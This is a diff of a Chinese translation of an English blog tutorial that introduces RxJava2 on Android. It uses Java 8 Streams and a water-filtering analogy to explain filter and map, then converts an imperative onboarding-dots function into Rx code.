+现在我们知道学习这个需要一些先决条件，但当初我对此一无所知。在我刚刚开始的时候，该如何从任何数据或对象上创建一个 Observable 呢。然后我知道当 Observable 上的数据发生了一些事件的时候，有接口或者可以叫做“回调”会被调用。这在理论上很棒，但是当我付诸实践的时候，GG了。我发现很多理论上应该成立的模式在我去用的时候完全不起作用。对我来说最大的问题，是不能用响应或者函数式响应的思维思考问题。我有命令式编程和面向对象编程的背景，由于先入为主，所以对我来说理解会有些难。我一直在问这些问题：我该在哪里实现？我应该怎么实现？如果你跟着这篇文章看下来，我可以 100% 保证你会知道怎样把命令式代码转换到 Rx 代码，虽然写出来的 Rx 代码可能不是很好，但是你起码知道怎么开始。
 
-**Revision:**
+**回顾：**
 
-I want to revise all those concepts which we already learn in first three posts[ [part1](http://www.uwanttolearn.com/android/reactive-programming-android-rxjava2-hell-part1/), [part2](http://www.uwanttolearn.com/android/pull-vs-push-imperative-vs-reactive-reactive-programming-android-rxjava2-hell-part2/), [part3](http://www.uwanttolearn.com/android/functional-interfaces-functional-programming-and-lambda-expressions-reactive-programming-android-rxjava2-what-the-hell-is-this-part3/) ] . Because today we will use all these concepts. In [part1](http://www.uwanttolearn.com/android/reactive-programming-android-rxjava2-hell-part1/) we learned Observer Pattern. In [part2](http://www.uwanttolearn.com/android/pull-vs-push-imperative-vs-reactive-reactive-programming-android-rxjava2-hell-part2/) we learned Pull vs Push & Imperative vs Reactive. In [part3](http://www.uwanttolearn.com/android/functional-interfaces-functional-programming-and-lambda-expressions-reactive-programming-android-rxjava2-what-the-hell-is-this-part3/) we learned Functional Interfaces, Default Methods, Higher Order Functions, Side Effects in Functions, Pure Functions, Lambda Expression and Functional Programming. I am going to write (boring material) there definitions. If you already remembered you can skip next part.
-*Functional Interface is an interface having one abstract method*.
-*In Java 8 we can define methods in interface these are called Default Methods.*
-*A function with at least one parameter of type function or a function that returns function is called a Higher Order Function*.
-*Pure Function is a function, where the return value is only determined by its input values, without observable side effects.*
-*Lambda expression in computer programming, also called anonymous function, a function (or a subroutine) defined, and possibly called, without being bound to an identifier.*
+我想回顾之前三篇文章中我们提到过的所有概念 [ [第一部分](https://github.com/xitu/gold-miner/blob/master/TODO/pull-vs-push-imperative-vs-reactive-reactive-programming-android-rxjava2-hell-part2.md)、[第二部分](http://www.uwanttolearn.com/android/pull-vs-push-imperative-vs-reactive-reactive-programming-android-rxjava2-hell-part2/)、 [第三部分](https://github.com/xitu/gold-miner/blob/master/TODO/functional-interfaces-functional-programming-and-lambda-expressions-reactive-programming-android-rxjava2-what-the-hell-is-this-part3.md) ]。因为现在我们要用到这些概念了。在 [第一部分](https://github.com/xitu/gold-miner/blob/master/TODO/pull-vs-push-imperative-vs-reactive-reactive-programming-android-rxjava2-hell-part2.md) 我们学习了观察者模式； 在 [第二部分](http://www.uwanttolearn.com/android/pull-vs-push-imperative-vs-reactive-reactive-programming-android-rxjava2-hell-part2/) 学习了拉模式和推模式、命令式和响应式；在 [第三部分](https://github.com/xitu/gold-miner/blob/master/TODO/functional-interfaces-functional-programming-and-lambda-expressions-reactive-programming-android-rxjava2-what-the-hell-is-this-part3.md) 我们学习了函数式接口（Functional Interfaces）、 接口默认方法（Default Methods）、高阶函数（Higher Order Functions）、函数的副作用（Side Effects in Functions）、纯函数（Pure Functions）、Lambda 表达式和函数式编程。我在下面写了一些定义（很无聊的东西）。如果你早就记得的话，可以跳到下一部分。
+**函数式接口是只有一个抽象方法的接口。**
+**在 Java8 我们可以在接口中定义方法，这种方法叫做“默认方法”。**
+**至少有一个参数是函数的函数和返回类型为函数的函数称为高阶函数。**
+**纯函数的返回值仅仅由参数决定，不会产生可见的副作用（比如修改一些影响程序状态的值。——译注）。**
+**Lambda 表达式在计算机编程中又叫做匿名函数，是一种在声明和执行的时候不会跟标识符绑定的函数或者子程序。**
 
-**Introduction:**
+**简介：**
 
-Today we are going to declare a war against Rx Java learning curve. In the end I am 100% sure we will won.
+今天我们将向 RxJava 的学习曲线宣战。我确定在最后我们会取得胜利。
 
-War Strategy:
+作战策略：
 
-1. Java 8 Stream ( That give us a very fast start + we know Java 8 as Android Developer )
+1. Java8 Stream（这使得我们快速开始，我们将从 Android 开发者的角度来看）
 
-2. Java 8 Stream to Rx Observable
+2. Java8 Stream 向 Rx Observable 转变
 
-3. Rx Java 2 Android Example
+3. RxJava2 Android 示例
 
-4. Tips, how convert imperative code to Rx Java 2 Android code
+4. 技巧，怎样把命令式代码转为 RxJava2 Android 代码
 
-Its time to do a ATTACK according to our strategy. Solders ATTACK.
+是时候根据我们的策略发动进攻了，兄弟们上。
 
-**1. Java 8 Stream:**
+**1. Java8 Stream:**
 
-Currently I am using IntelliJ IDE for Java 8 stream. May be you are thinking why I am going to use Java 8 stream which we are not able to use in Android. All those solders who are thinking like this. I am using Java 8 stream due to two reasons. First I know after some years Java 8 is a first class citizen for Android development. So you should know this stream API’s also any body can ask you in interview. Then Java 8 stream is same like Rx Observable in  perspective of concept. So why not we learn both things in a one go. Second I have a feeling lot of solders who are like me dump or lazy or not able to grasp concept very easily they will get that concept in minutes. Again I am giving you 100% guarantee. By learning Java 8 stream you will learn Rx in minutes. Its time to start.
+现在我用 IntelliJ 这个 IDE 来写 Java8 的 Stream。你可能会想为什么我去使用在 Android 不支持的 Java8 的 Stream。对于这样想的同志，我来解释一下。主要有两个原因。首先，我知道几年后 Java8 将成为 Android 开发的一等公民。所以你应该了解关于 Stream 的 API，并且在面试中你可能被问到。而且，Java8 的 Stream 和 Rx Observable 在概念上很像。所以，为什么不一次性把这两个东西一起学了呢？其次，我感觉很多像我一样能力低下、懒惰并且不容易掌握概念的同志也可以在几分钟内了解这个概念。再次强调，我向你们 100% 地保证。通过学习 Java8 的 Stream 可以让你很快地学会 Rx。好，我们开始了。
 
 Stream:
 
-Classes to support functional-style operations on streams of elements, such as map-reduce transformations on collections (*docs.oracle*).
+ 用来支持在元素形成的流上进行函数式操作（比如在集合上进行的 map-reduce 变换）的类(*docs.oracle*)。
 
-First question. What is a stream in english language?
+第一个问题：在英语中 Stream 是什么意思？
 
-Answer: a small, narrow river. Or a continuous flow of liquid, air, or gas.
+答案：一条很窄的小河，或者源源不断流动的液体、空气、气体。在编程的时候把数据转化成“流”的形式，比如我有一个字符串但是我想把它变成“流”来使用我需要干些什么，我需要创建一个机制，使这个字符串满足“源源不断流动的液体、空气、气体 {**或者数据**}”的定义。问题是，我们为什么想要自己的数据变成“流”呢，下面是个简单的例子。
 
-In programming I want to convert my data in the form of stream. Its mean if I have a string but I want to do a work with that as a stream what I need to do. I need to create a mechanism in which I will get my data according to definition “a continuous flow of liquid, air, or gas {**or data**}”. Now question is why I want my data as a stream. Hmm I am giving you one dump example.
-
-I have a blue colour water in a glass with mixup of small and big stones as shown below. (Sorry for drawing skills  )
+就像下面这幅图中画的那样，我有一杯混合着大大小小石子的蓝色的水。
 
 [![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_1-300x253.jpg) ](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_1.jpg)
 
-Now according to our stream definition. I am going to convert that water into stream as shown below.
+现在按照我们关于“流”的定义，我用下图中的方法将水转化成“流”。
 
 [![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_2-237x300.jpg)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_2.jpg)
 
-I shifted my water from one glass to another by converting into stream. Now I want to remove all big stones from my water. So now I am going to make a one filter which will help me to remove these big stones. Big stone filter as shown below.
+为了让水变成水流，我把水从一个杯子倒进另一个杯子 里。现在我想去掉水中的大石子，所以我造了一个可以帮我滤掉大石子的过滤器。“大石子过滤器”如下图所示。
 
 [![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_3-300x252.jpg)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_3.jpg)
 
-Now I am going to apply that filter on my water stream. So I will get water without big stones as shown below.
+现在，将这个过滤器作用在水流上，这会得到不包含大石子的水。如下图所示。
 
 [![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_4-204x300.jpeg)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_4.jpeg)
 
-Hurray. Next I want to clean my water from both small and big stones. For that I have big stone filter but I need to create a new filter for small stones. Small stone filter as shown below.
+哈哈哈。 接下来，我想从水中清除掉所有石子。已经有一个过滤大石子的过滤器了，我们需要造一个新的来过滤小石子。“小石子过滤器”如下图所示。
 
 [![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_5-300x229.jpg)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_5.jpg)
 
-Its time to apply both filters on my water stream as shown below.
+像下图这样，将两个过滤器同时作用于水流上。
 
 [![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_6-228x300.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_6.png)
 
-Wow. I have a feeling now you guys are getting my point what type of benefit we can get from stream in programming. Next I want to change my colour from blue to black. For that I need to create a water colour converter (mapper) as shown below.
+哇哦~ 我已经感觉到你们领悟了我说的在编程中使用流所带来的好处是什么了。接下来，我想把水的颜色从蓝色变成黑色。为了达到这个目的，我需要造一个像下图这样的“水颜色转换器（mapper）”。
 
 [![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_7-300x171.jpg)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_7.jpg)
 
-Its time to implement that converter with my filters as shown below.
+像下图这样使用这个转换器。
 
 [![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_8-214x300.jpg)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_8.jpg)
 
-Now by converting my water into stream I did a lot of things. I remove big stones using filter, small stone by using filter and in the end I converted my water colour from blue to black using converter (map).
+把水转换成水流后，我们做了很多事情。我先用一个过滤器去掉了大石子，然后用另一个过滤器去掉了小石子， 最后用一个转换器（map）把水的颜色从蓝色变成黑色。
 
-This is the same benefit I will get in our programming when I will convert my data into stream. But now I am going to convert our this example into code. The code now I am going to show you is real code. May be this will not work in example but operator and API’s which I am going to use are real which we will use in later real example. So guys focus on concepts not on compilation. By doing this example I have a feeling we will grasp the concepts very easily. One important point I am using Java 8 stream API in this example not Rx API’s. I don’t want to make things difficult but later I will use Rx also.
+当我将数据转换成流时，我将在编程中得到同样的好处。现在，我将把这个例子转换成代码。我要显示的代码是真正的代码。可能示例代码不能工作，但我将要使用的操作符和API是真实的，我们将在后面的实例中使用。所以，同志们不要把关注点放在编译上。通过这个例子，我有一种感觉，我们将很容易地把握这些概念。在这个例子中，重要的一点是，我使用Java8 的 Stream API 而不是 Rx API。我不想让事情变困难，但稍后我也会使用 Rx。
 
-Image Water + Water in code:
+图像中的水 和 代码中的水：
 
 [![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_1-300x253.jpg)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_1.jpg)
 
 ```
 public static void main(String [] args){
     Water water = new Water("water",10, "big stone", 1 , "small stone", 3);
-    // 10 litre water with 1 big and 3 small stones.
+    // 含有一个大石子和三个小石子的十升水
     for (String s : water) {
         System.out.println(s);
     }
 }
 ```
 
-Output:
+输出:
 
 water
 
@@ -138,7 +136,7 @@ water
 
 water
 
-Image Water stream + Water stream in code:
+图像中的水流 和 代码中的水流：
 
 [![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_2-237x300.jpg)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_2.jpg)
 
@@ -149,16 +147,16 @@ public static void main(String[] args) {
     water.stream();
 }
 
-Output will be same as above one.
+//输出和上面那个一样
 ```
 
-Image big stone filter + big stone filter in code:
+图像中的“大石子过滤器” 和 代码中的“大石子过滤器”：
 
 [![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_3-300x252.jpg)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_3.jpg)
 
-Guys need your attention here.
+同志们这里需要注意下！
 
-Here in Java 8 Stream we have a one Functional Interface its name is called Predicate. So when I want to do a filter I need to give this Functional Interface to stream filter function. Now I am going to show you how I will create a BigStoneFilter in our code.
+在 Java8 Stream 中有个叫做 Predicate（谓词，可以判断真假，详情见线性代数中的相关定义——译注）的函数式接口。所以，如果我想进行过滤的话需要把这个函数式接口送到流的过滤器函数里面。现在，我给大家展示在我们的代码中如何创建“大石子过滤器”。
 
 ```
 private static Predicate<String> BigStoneFilter  = new Predicate<String>() {
@@ -169,13 +167,13 @@ private static Predicate<String> BigStoneFilter  = new Predicate<String>() {
 };
 ```
 
-As we already know in [part3](http://www.uwanttolearn.com/android/functional-interfaces-functional-programming-and-lambda-expressions-reactive-programming-android-rxjava2-what-the-hell-is-this-part3/) any Functional Interface can be convert into Lambda expression. So going to convert this code into Lambda Expression.
+正如我们在 [第三部分](https://github.com/xitu/gold-miner/blob/master/TODO/functional-interfaces-functional-programming-and-lambda-expressions-reactive-programming-android-rxjava2-what-the-hell-is-this-part3.md) 已经知道的，任何函数式接口都可以转换成 Lambda 表达式。把上面的代码转换成 Lambda 表达式：
 
 ```
 private static Predicate<String> BigStoneFilter  = s -> !s.equals("big stone");
 ```
 
-Image big stone filter on Water stream + in code.
+图像中和代码中作用在水流上的”大石子过滤器“：
 
 [![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_4-204x300.jpeg)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_4.jpeg)
 
@@ -190,7 +188,7 @@ public static void main(String[] args) {
 private static Predicate<String> BigStoneFilter  = s -> !s.equals("big stone");
 ```
 
-Here I am using forEach method. For the time being take this function as a for loop on a stream. I am using here only to show you output. Otherwise without this function we already achieved what we are showing in image. Now its time to show you output.
+这里我使用了 forEach 方法，暂时把这当作流上的 for 循环。用在这里仅仅是为了输出。除去没有这个方法，我们也已经实现了我们在图像中表示的内容。是时候看看输出了：
 
 water
 
@@ -218,9 +216,9 @@ water
 
 water
 
-There is no big stone. Its mean we filter our water sucessfully.
+没有大石子了，这意味着我们成功过滤了水。
 
-Image Small stone filter + small stone filter in code:
+图像中的“小石子过滤器” 和 代码中的“小石子过滤器”：
 
 [![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_5-300x229.jpg)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_5.jpg)
 
@@ -228,7 +226,7 @@ Image Small stone filter + small stone filter in code:
 private static Predicate<String> SmallStoneFilter  = s -> !s.equals("small stone");
 ```
 
-Appending small stone filter on Water stream + in code.
+在图像和代码中使用”小石子过滤器“：
 
 [![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_6-228x300.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_6.png)
 
@@ -245,7 +243,7 @@ private static Predicate<String> BigStoneFilter  = s -> !s.equals("big stone");
 private static Predicate<String> SmallStoneFilter  = s -> !s.equals("small stone");
 ```
 
-I am not going to explain **SmallStoneFilter**. Implementation is just like **BigStoneFilter**. Only here I am going to show you output.
+我不打算解释 **SmallStoneFilter**，它的实现和 **BigStoneFilter** 是一样一样的。这里我只展示输出。
 
 water
 
@@ -267,13 +265,13 @@ water
 
 water
 
-Image Water colour converter + water colour converter in code:
+图像中的”水颜色转换器“ 和 代码中的”水颜色转换器“
 
 [![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_7-300x171.jpg)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_7.jpg)
 
-Guys need your attention here.
+同志们这里需要注意！
 
-Here in Java 8 Stream we have a one Functional Interface its name is called Function. So when I want to do a conversion I need to give this Functional Interface to a stream map function. Now I am going to show you how I will create a Water colour converter in our code.
+在 Java8 Stream 中有个叫做 Function 的函数式接口。所以，当我想进行转换的时候，需要把这个函数式接口送到流的转换（map）函数里面。现在，我给大家展示在我们的代码中如何创建“水颜色过滤器”。
 
 ```
 private static Function<String, String > convertWaterColour = new Function<String, String>() {
@@ -284,21 +282,21 @@ private static Function<String, String > convertWaterColour = new Function<Strin
 };
 ```
 
-That is a functional interface. So I can convert into lambda.
+这是一个函数式接口，所以我可以把它转换为 Lambda ：
 
 ```
 private static Function<String, String > convertWaterColour = s -> s+" black";
 ```
 
-Basically first String in Function <generic> is the value which I will get from water and second String in Function <generic> means what I am returning. For more clarification I am writing one converter which will convert integer into String.
+简单来说，泛型中的第一个 String 代表我从水中得到什么，第二个 String 表示我会返回什么。 为了更好地掰扯清楚，我写了个把 Integer 转化成 String 的转换器。
 
 ```
 private static Function<Integer, String > convertIntegerIntoString = i -> i+" ";
 ```
 
-Coming back to our original example.
+回到我们原来的例子。
 
-Image appending water colour converter on Water stream + in code.
+为水流添加颜色转换器的图像和代码：
 
 [![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_8-214x300.jpg)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_8.jpg)
 
@@ -317,7 +315,7 @@ private static Predicate<String> SmallStoneFilter = s -> !s.equals("small stone"
 private static Function<String, String> convertWaterColour = s -> s + " black";
 ```
 
-Output:
+输出:
 
 water black
 
@@ -339,13 +337,13 @@ water black
 
 water black
 
-Done. Now I am going to revise some things again.
+完活！现在我们再次回顾一些内容。
 
-filter: In stream we have a method. Which always take a Functional Interface is called Predicate. In which we will write our logic, which will be apply on our data.
+filter（过滤器）： Stream 有一个只接受 Predicate 这个函数式接口的方法。我们可以在 Predicate 里写作用在数据上的逻辑代码。
 
-map: In stream we have a method.Which always take a Functional Interface is called Function. In which we will write our logic to convert our data according to our requirement.
+map（映射）：Stream 有一个只接受 Function 这个函数式接口的方法。我们可以在 Function 里写按照我们的要求转换数据的逻辑代码。
 
-Before going to next topic. I am going to explain you one more thing which confuse me a lot. Like when I say stream() on any data how that work. So for that I am going to take a one example. I have a list of integers. I want to show that on console.
+在进入下个环节之前，我想解释一个曾经困惑我很久的东西。当我们在任意数据上使用 stream() 的时候，背后是怎样工作的。所以我要举一个例子。我有一个整数列表。我想在控制台上显示它们。
 
 ```
 public static void main(String [] args){
@@ -357,7 +355,7 @@ public static void main(String [] args){
 }
 ```
 
-Using imperative approach data shown on console:
+使用命令式编程来打印数据：
 
 ```
 public static void main(String [] args){
@@ -374,7 +372,7 @@ public static void main(String [] args){
 }
 ```
 
-Using Stream or Rx approach data shown on console:
+使用 Stream 或 Rx 的方式来打印数据：
 
 ```
 public static void main(String [] args){
@@ -389,31 +387,31 @@ public static void main(String [] args){
 }
 ```
 
-Now if you compare both codes. What is the difference?
+对于以上两段代码，它们的不同点在哪呢？
 
-In simple words in first code. I am managing for loop on my own.
+简单来说，在第一段代码中我自己管理 for 循环：
 
 ```
 for (Integer integer : list) {
         System.out.println(integer);
-    }
+}
 ```
 
-but in second example stream (or later I will show you Observable in Rx) will taking care of my loop.
+但是在第二段代码中，流（或者稍后后要展示的 Rx 中的 Observable）进行循环：
 
 ```
 list.stream().forEach(integer -> System.out.println(integer));
 ```
 
-I think lot of things are clear its time to go on a real example by using Rx. In this example I will show you stream code and Rx code both together so you can easily grasp the concept in both domains.
+我认为很多事情都说清楚了，是时候用 Rx 来写个真实的例子了。在这个例子中，我会同时使用流式编码（stream code）和响应式编码（Rx code），这样大家可以更容易地掌握这俩的概念。
 
-**2. Java 8 Stream to Rx Observable:**
+**2. Java8 Stream to Rx Observable:**
 
-I have a list which contain data “Hello World”. In images I am taking as a String but In code example I am going to take as a List which is easy to explain on this point.
+有一个存有 “Hello World” 的列表。 在图片中，把它视作字符串。在代码中把它看作列表，这样比较好解释。
 
 [![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_9-300x258.jpg)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_9.jpg)
 
-In code Java 8 Streams:
+Java8 的 Stream 代码：
 
 ```
 public static void main(String [] args){
@@ -430,12 +428,12 @@ public static void main(String [] args){
     list.add("r");
     list.add("l");
     list.add("d");
-    list.stream(); // Java 8
+    list.stream(); // Java8
 }
 
 ```
 
-In Android:
+Android 中的代码：
 
 ```
 public class MainActivity extends AppCompatActivity {
@@ -464,28 +462,28 @@ public class MainActivity extends AppCompatActivity {
 }
 ```
 
-Guys here I am showing you both Java 8 and Android code. From now I will show you only Reactive code from Java 8 and Android not all class code. In the end of the blog post I will share with you code.
+在这里展示了 Java8 代码和 Android 代码。从现在开始，我只给出代码中的响应式（Reactive）部分而不给出完整的一个类。完整代码分享在文章的最后了。上面的代码将变成这样：
 
 Again above example:
 
 ```
-list.stream(); // Java 8
+list.stream(); // Java8
 
 Observable.fromIterable(list); // Android
 ```
 
-So both will give you same result. Now I am going to output integer list.
+这两者会有相同的结果，这样来输出整个列表：
 
 ```
 list.stream()
-       .forEach(s-> System.out.print(s)); // Java 8
+       .forEach(s-> System.out.print(s)); // Java8
 
 Observable.fromIterable(list)
         .forEach(s-> Log.i("Android",s)); // Android
 
-Output in Java 8:
+Java8 的输出:
      Hello World
-Output In Android:
+Android 的输出:
 03-12 15:55:33.561 6094-6094/async.waleed.rx I/Android: H
 03-12 15:55:33.561 6094-6094/async.waleed.rx I/Android: e
 03-12 15:55:33.561 6094-6094/async.waleed.rx I/Android: l
@@ -499,33 +497,33 @@ Output In Android:
 03-12 15:55:33.561 6094-6094/async.waleed.rx I/Android: d
 ```
 
-Now its time to compare both.
+是时候来比较下这俩了。
 
 ```
-list.stream().forEach(s-> System.out.print(s)); // Java 8
+list.stream().forEach(s-> System.out.print(s)); // Java8
 
 Observable.fromIterable(list).forEach(s-> Log.i("Android",s)); // Android
 ```
 
-So in Java 8 any thing I want as a stream. I will use a stream API but in Android I will convert that data into Observable and will get data as stream.
+在 Java8 中我想要一个东西变成流的形式，我会用 Stream 的 API，但是在 Android 里，我先把那个东西转换成 Observable 然后获取到数据流。
 
-Next we need to do a filter Hello World data by ‘l’ like as shown below.
+接下来，我们将用 ’l‘ 作为过滤器来处理 Hello World，就像下面这样：
 
 [![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_10-300x263.jpg)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_10.jpg)[![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_11-300x282.jpg)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_11.jpg)In code:
 
 ```
 list.stream()
         .filter(s -> !s.equals("l"))
-        .forEach(s-> System.out.print(s)); //Java 8
+        .forEach(s-> System.out.print(s)); //Java8
 
 Observable.fromIterable(list)
         .filter(s->!s.equals("l"))
         .forEach(s-> Log.i("Android",s)); // Android
 
-Output in Java 8: 
+输出 in Java8: 
      Heo Word
 
-Output In Android:
+输出 In Android:
 03-12 16:05:58.558 10236-10236/async.waleed.rx I/Android: H
 03-12 16:05:58.558 10236-10236/async.waleed.rx I/Android: e
 03-12 16:05:58.558 10236-10236/async.waleed.rx I/Android: o
@@ -536,14 +534,14 @@ Output In Android:
 03-12 16:05:58.558 10236-10236/async.waleed.rx I/Android: d
 ```
 
-Good. Now its time to say bye to Java 8 Stream API.
+好。是时候对 Java8 的 Stream API 说再见了。
 
 
-**3. Rx Java 2 Android Example:**
+**3. RxJava2 的 Android 示例：**
 
-I have a one array of Integers. I want to take a square of all members of this array.
+有一个整数数组，我想让数组中的每个成员变成自身的平方。
 
-In image form as shown below.
+如图所示：
 
 [![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_12-288x300.png)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_12.png)
 
@@ -551,7 +549,7 @@ In image form as shown below.
 
 [![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_14-300x296.jpg)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_14.jpg)
 
-In Android:
+Android 代码：
 
 ```
 @Override
@@ -568,7 +566,7 @@ protected void onCreate(Bundle savedInstanceState) {
 
 ```
 
-Output:
+输出:
 
 03-12 16:13:32.432 14918-14918/async.waleed.rx I/Android: 1
 
@@ -582,15 +580,15 @@ Output:
 .map(value->value*value)
 ```
 
-That is really simple. Same concept which we already used. I gave a one Functional Interface into map. Which basically doing square of the given value and return that square value.
+这波很稳，我们之前已经用到过相同的概念了。把一个函数式接口传进 map，这个函数简单地将输入的数平方后返回。
 
 ```
 .forEach(value-> Log.i("Android",value+""));
 ```
 
-As we know we only can show String in logs. So I converted value integer into String by appending +”” as shown above.
+稍有常识的人都知道，我们只能在 log 中打印字符串。在上面的代码中，我在整数值的后面添加 ``+""`` 来把他们转换成字符串。
 
-Wow. I can see one more use of map in my example. Guys as you know I am converting my integer into String for showing into Logcat. But now I am going to write a one more Functional Interface for map. Which will convert my integer into String. So its mean no need to append +”” as shown below.
+哇哦！我们可以在这个例子中再用一次 map。你们都知道我需要把整数转换成字符串以便打印到 Logcat，但是我现在打算为 map 再写一个函数式接口来完成转换。这意味着我们不需要在数据后面添加 ``+""``了，如下所示：
 
 ```
 Observable.fromArray(data)
@@ -599,17 +597,17 @@ Observable.fromArray(data)
         .forEach(string-> Log.i("Android",string));
 ```
 
-**4. How convert imperative code to Rx Java 2 Android code:**
+**4. 如何把命令式代码转化成 RxJava2 Android 代码：**
 
-Here I am going to use a one real world app imperative code block which I will convert into Reactive using Rx Observable. So you can easily know how you can start with Rx in your project. Important point that may be not good approach but you should start so you feel comfortable. I also know I am using some functions like fromArray, fromIterable which I never explained. So for that please try to use as how I am using in examples. I will explain in detail when I will publish my  next post of Rx Android. Try to do a hands on practice a lot.
+这里我打算使用一段现实存在于某 APP 的代码，我将使用 Rx Observable 把它转化成响应式（Reactive）代码。这样你很容易就知道怎样开始在自己的项目中使用 Rx 了。重要的东西可能不是很容易理解，但你应该开始动手，这样才会感觉良好。所以，像我在示例代码中提到的那样去使用它们，我会在下一篇文章中详细解释。尝试多去练练手。
 
-Example:
+示例：
 
-In one of my project. I am using [OnBoarding](https://www.google.com/search?q=onboarding+ui&amp;rlz=1C5CHFA_enMY704MY704&amp;espv=2&amp;tbm=isch&amp;tbo=u&amp;source=univ&amp;sa=X&amp;ved=0ahUKEwjqtsPv0tDSAhWLybwKHdLMDhcQsAQINg&amp;biw=1280&amp;bih=682) screen. According to UI I need to show dots on my all OnBoarding screens like shown below.
+我在一个项目中使用了 [OnBoarding](https://www.google.com/search?q=onboarding+ui&amp) 界面，根据 UI 设计需要在每个 OnBoarding 界面上显示点点，如下图所示：
 
-[![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_15-300x287.jpg)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_15.jpg)If you saw carefully in image. In ViewPager I need to give black solid dot to the selected screen.
+[![](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_15-300x287.jpg)](http://www.uwanttolearn.com/wp-content/uploads/2017/03/war_against_learning_curve_of_rx_java_2_java_8_stream_15.jpg)如果你观察得很仔细的话，可以看到我需要将选定的界面对应的点设置成黑色。
 
-In Imperative code:
+命令式编程的代码：
 
 ```
 private void setDots(int position) {
@@ -622,7 +620,7 @@ private void setDots(int position) {
 }
 ```
 
-In Rx:
+响应式代码（Rx）的代码：
 
 ```
 public void setDots(int position) {
@@ -636,9 +634,9 @@ public void setDots(int position) {
 }
 ```
 
-In this setDots function. Basically I am going through from every Image and setting a white empty circle and after that I am setting again solid circle on the selected ImageView.
+在 setDots 函数中，我简单地遍历每个 ImageView 并且把它们设置成白色的空心圈，之后将选定的 ImageView 重新设定为实心圈。
 
-OR
+或者，
 
 ```
 public void setDots(int position) {
@@ -651,27 +649,27 @@ public void setDots(int position) {
 }
 ```
 
-In this setDots function. I set to all Imageviews white empty circle except the one which is a selected one.
+在这个 setDots 函数中，我把除选定的 ImageView 之外的所有 ImageView 设置为白色空心圈。
 
-Later I set the solid circle for the selected Imageview.
+之后，将选中的 ImageView 设置为实心圈。
 
-**4. Tips how convert imperative code to Rx code:**
